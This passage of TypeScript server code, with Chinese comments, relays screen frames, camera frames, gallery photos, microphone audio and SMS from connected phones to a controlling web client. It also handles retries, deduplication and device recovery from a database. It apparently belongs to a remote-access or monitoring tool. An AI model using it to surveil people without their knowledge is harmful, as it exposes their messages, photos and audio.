||
// })
|
||
// }
|
||
// }
|
||
|
||
// 控制者已在前面检查过,这里不需要重复检查
|
||
|
||
// 🔧 添加屏幕数据传输限流和错误处理
|
||
try {
|
||
// 发送屏幕数据到控制客户端
|
||
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
|
||
deviceId: device.id,
|
||
format: screenData.format,
|
||
data: screenData.data,
|
||
width: screenData.width,
|
||
height: screenData.height,
|
||
quality: screenData.quality,
|
||
timestamp: screenData.timestamp,
|
||
isLocked: screenData.isLocked // 包含设备锁屏状态
|
||
})
|
||
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`)
|
||
return false
|
||
}
|
||
|
||
// 🔧 记录成功传输,用于监控
|
||
this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
|
||
return true
|
||
|
||
} catch (emitError) {
|
||
this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError)
|
||
return false
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由屏幕数据失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 重试路由屏幕数据
|
||
*/
|
||
private retryRouteScreenData(fromSocketId: string, screenData: ScreenData, retryCount: number): void {
|
||
const maxRetries = 3
|
||
|
||
try {
|
||
// 再次尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device && retryCount <= maxRetries) {
|
||
// 继续等待并重试
|
||
setTimeout(() => {
|
||
this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1)
|
||
}, 1000 * retryCount) // 递增延迟:1s, 2s, 3s
|
||
return
|
||
}
|
||
|
||
if (!device) {
|
||
// 最后尝试从数据库查询
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
|
||
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
// ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询
|
||
this.deviceManager.addDevice(device)
|
||
|
||
// ✅ 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`)
|
||
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
|
||
return
|
||
}
|
||
}
|
||
|
||
// 设备找到后正常路由
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
|
||
|
||
const controllerId = this.webClientManager.getDeviceController(device.id)
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
|
||
deviceId: device.id,
|
||
format: screenData.format,
|
||
data: screenData.data,
|
||
width: screenData.width,
|
||
height: screenData.height,
|
||
quality: screenData.quality,
|
||
timestamp: screenData.timestamp
|
||
})
|
||
|
||
if (success) {
|
||
this.logger.debug(`📺 重试路由成功: ${device.name}`)
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('重试路由屏幕数据失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现
|
||
*/
|
||
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean {
|
||
try {
|
||
this.routedCameraFrames++
|
||
|
||
// 添加摄像头数据大小检查,避免过大数据导致transport error
|
||
const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0
|
||
|
||
this.totalCameraDataSize += dataSize
|
||
|
||
if (dataSize > this.maxDataSize) { // 动态限制
|
||
this.droppedCameraFrames++
|
||
this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
// 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||
const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId)
|
||
if (!controllerId) {
|
||
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
|
||
this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`)
|
||
return true
|
||
}
|
||
|
||
// 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
|
||
const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId)
|
||
if (existingBuffer) {
|
||
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
|
||
const timeDiff = Date.now() - existingBuffer.timestamp
|
||
if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据
|
||
this.droppedCameraFrames++
|
||
this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 更新缓冲区(用于去重和统计)
|
||
this.cameraDataBuffer.set(cameraData.deviceId, {
|
||
data: cameraData,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device) {
|
||
// 立即尝试从数据库恢复设备,而不是延迟处理
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
// 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device)
|
||
|
||
// 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// 设备通过摄像头数据恢复后,必须立即通知Web端
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`)
|
||
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
|
||
// 只有在数据库中也找不到时,才使用延迟重试
|
||
setTimeout(() => {
|
||
this.retryRouteCameraData(fromSocketId, cameraData, 1)
|
||
}, 500)
|
||
return true // 返回true避免client端重试
|
||
}
|
||
}
|
||
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
return false
|
||
}
|
||
|
||
// 更新设备的lastSeen时间
|
||
device.lastSeen = new Date()
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
|
||
|
||
// 添加摄像头数据传输限流和错误处理
|
||
try {
|
||
// 发送摄像头数据到控制客户端
|
||
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
|
||
deviceId: device.id,
|
||
format: cameraData.format,
|
||
data: cameraData.data,
|
||
type: cameraData.type,
|
||
timestamp: cameraData.timestamp
|
||
})
|
||
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`)
|
||
return false
|
||
}
|
||
|
||
// 记录成功传输,用于监控
|
||
this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
|
||
return true
|
||
|
||
} catch (emitError) {
|
||
this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError)
|
||
return false
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由摄像头数据失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 重试路由摄像头数据
|
||
*/
|
||
private retryRouteCameraData(fromSocketId: string, cameraData: CameraData, retryCount: number): void {
|
||
const maxRetries = 3
|
||
|
||
try {
|
||
// 再次尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device && retryCount <= maxRetries) {
|
||
// 继续等待并重试
|
||
setTimeout(() => {
|
||
this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1)
|
||
}, 1000 * retryCount) // 递增延迟:1s, 2s, 3s
|
||
return
|
||
}
|
||
|
||
if (!device) {
|
||
// 最后尝试从数据库查询
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
// 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
|
||
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
// 将恢复的设备添加到DeviceManager中,避免重复查询
|
||
this.deviceManager.addDevice(device)
|
||
|
||
// 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// 重试恢复成功后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`)
|
||
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
|
||
return
|
||
}
|
||
}
|
||
|
||
// 设备找到后正常路由
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
|
||
|
||
const controllerId = this.webClientManager.getDeviceController(device.id)
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
|
||
deviceId: device.id,
|
||
format: cameraData.format,
|
||
data: cameraData.data,
|
||
type: cameraData.type,
|
||
timestamp: cameraData.timestamp
|
||
})
|
||
|
||
if (success) {
|
||
this.logger.debug(`📷 重试路由成功: ${device.name}`)
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('重试路由摄像头数据失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由相册图片数据(不保存到磁盘,直接转发base64给客户端)
|
||
*/
|
||
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean {
|
||
try {
|
||
// 校验设备来源
|
||
const device = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (!device || device.deviceId !== image.deviceId) {
|
||
this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`)
|
||
return false
|
||
}
|
||
|
||
// 直接将base64数据转发给当前控制端
|
||
const controllerId = this.webClientManager.getDeviceController(image.deviceId)
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`)
|
||
return true
|
||
}
|
||
|
||
// 保留事件名与元数据结构以保证前端兼容,同时附加base64数据
|
||
this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', {
|
||
deviceId: image.deviceId,
|
||
type: 'gallery_image_saved',
|
||
index: image.index,
|
||
id: image.id,
|
||
displayName: image.displayName,
|
||
dateAdded: image.dateAdded,
|
||
mimeType: image.mimeType,
|
||
width: image.width,
|
||
height: image.height,
|
||
size: image.size,
|
||
contentUri: image.contentUri,
|
||
timestamp: image.timestamp,
|
||
// 直接携带原始base64数据(可能是 dataURL 或纯base64)
|
||
data: image.data
|
||
})
|
||
|
||
// 记录日志(不落盘)
|
||
const approxSize = typeof image.data === 'string' ? image.data.length : 0
|
||
this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('转发相册图片失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由麦克风音频数据(从设备到Web客户端)
|
||
*/
|
||
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean {
|
||
try {
|
||
this.routedMicrophoneAudio++
|
||
|
||
// 添加音频数据大小检查
|
||
const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0
|
||
this.totalMicrophoneAudioSize += dataSize
|
||
|
||
if (dataSize > this.maxDataSize) {
|
||
this.droppedMicrophoneAudio++
|
||
this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
// 检查设备是否有控制者
|
||
const controllerId = this.webClientManager.getDeviceController(audioData.deviceId)
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`)
|
||
return true
|
||
}
|
||
|
||
// 去重(防抖):100ms内相同设备的音频数据视为重复
|
||
const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId)
|
||
if (existingBuffer) {
|
||
const timeDiff = Date.now() - existingBuffer.timestamp
|
||
if (timeDiff < 100) {
|
||
this.droppedMicrophoneAudio++
|
||
this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 更新缓冲区
|
||
this.microphoneAudioBuffer.set(audioData.deviceId, {
|
||
data: audioData,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 获取或恢复设备
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
this.deviceManager.addDevice(device)
|
||
|
||
// 更新数据库中的设备记录
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// 通知Web端设备在线
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`)
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
// 同步设备状态到设备端
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
|
||
setTimeout(() => {
|
||
this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1)
|
||
}, 500)
|
||
return true
|
||
}
|
||
}
|
||
|
||
if (!device) {
|
||
return false
|
||
}
|
||
|
||
// 更新设备的lastSeen时间
|
||
device.lastSeen = new Date()
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
|
||
|
||
// 发送麦克风音频数据到控制客户端
|
||
try {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
|
||
deviceId: device.id,
|
||
audioData: audioData.audioData,
|
||
sampleRate: audioData.sampleRate,
|
||
sampleCount: audioData.sampleCount,
|
||
format: audioData.format,
|
||
channels: audioData.channels,
|
||
bitDepth: audioData.bitDepth,
|
||
timestamp: audioData.timestamp
|
||
})
|
||
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`)
|
||
return false
|
||
}
|
||
|
||
this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
|
||
return true
|
||
|
||
} catch (emitError) {
|
||
this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError)
|
||
return false
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由麦克风音频数据失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 重试路由麦克风音频数据
|
||
*/
|
||
private retryRouteMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData, retryCount: number): void {
|
||
const maxRetries = 3
|
||
|
||
try {
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
if (!device && retryCount <= maxRetries) {
|
||
setTimeout(() => {
|
||
this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1)
|
||
}, 1000 * retryCount)
|
||
return
|
||
}
|
||
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
this.deviceManager.addDevice(device)
|
||
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`)
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
|
||
return
|
||
}
|
||
}
|
||
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
|
||
|
||
const controllerId = this.webClientManager.getDeviceController(device.id)
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
|
||
deviceId: device.id,
|
||
audioData: audioData.audioData,
|
||
sampleRate: audioData.sampleRate,
|
||
sampleCount: audioData.sampleCount,
|
||
format: audioData.format,
|
||
channels: audioData.channels,
|
||
bitDepth: audioData.bitDepth,
|
||
timestamp: audioData.timestamp
|
||
})
|
||
|
||
if (success) {
|
||
this.logger.debug(`🎤 重试路由成功: ${device.name}`)
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('重试路由麦克风音频数据失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由短信数据(从设备到Web客户端)
|
||
*/
|
||
routeSmsData(fromSocketId: string, smsData: SmsData): boolean {
|
||
try {
|
||
this.routedSmsData++
|
||
|
||
// 估算数据大小(用于监控)
|
||
try {
|
||
const approxSize = JSON.stringify(smsData).length
|
||
this.totalSmsDataSize += approxSize
|
||
if (approxSize > this.maxDataSize) {
|
||
this.droppedSmsData++
|
||
this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
|
||
return false
|
||
}
|
||
} catch (_) {
|
||
// 忽略JSON stringify异常
|
||
}
|
||
|
||
// 检查设备控制者
|
||
const controllerId = this.webClientManager.getDeviceController(smsData.deviceId)
|
||
if (!controllerId) {
|
||
this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`)
|
||
return true
|
||
}
|
||
|
||
// 去重(防抖):500ms内相同设备的批次视为重复
|
||
const existingBuffer = this.smsDataBuffer.get(smsData.deviceId)
|
||
if (existingBuffer) {
|
||
const timeDiff = Date.now() - existingBuffer.timestamp
|
||
if (timeDiff < 500) {
|
||
this.droppedSmsData++
|
||
this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 更新缓冲区
|
||
this.smsDataBuffer.set(smsData.deviceId, {
|
||
data: smsData,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 获取或恢复设备
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
|
||
this.deviceManager.addDevice(device)
|
||
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
// 通知Web端设备在线
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`)
|
||
setTimeout(() => {
|
||
this.retryRouteSmsData(fromSocketId, smsData, 1)
|
||
}, 500)
|
||
return true
|
||
}
|
||
}
|
||
|
||
if (!device) {
|
||
return false
|
||
}
|
||
|
||
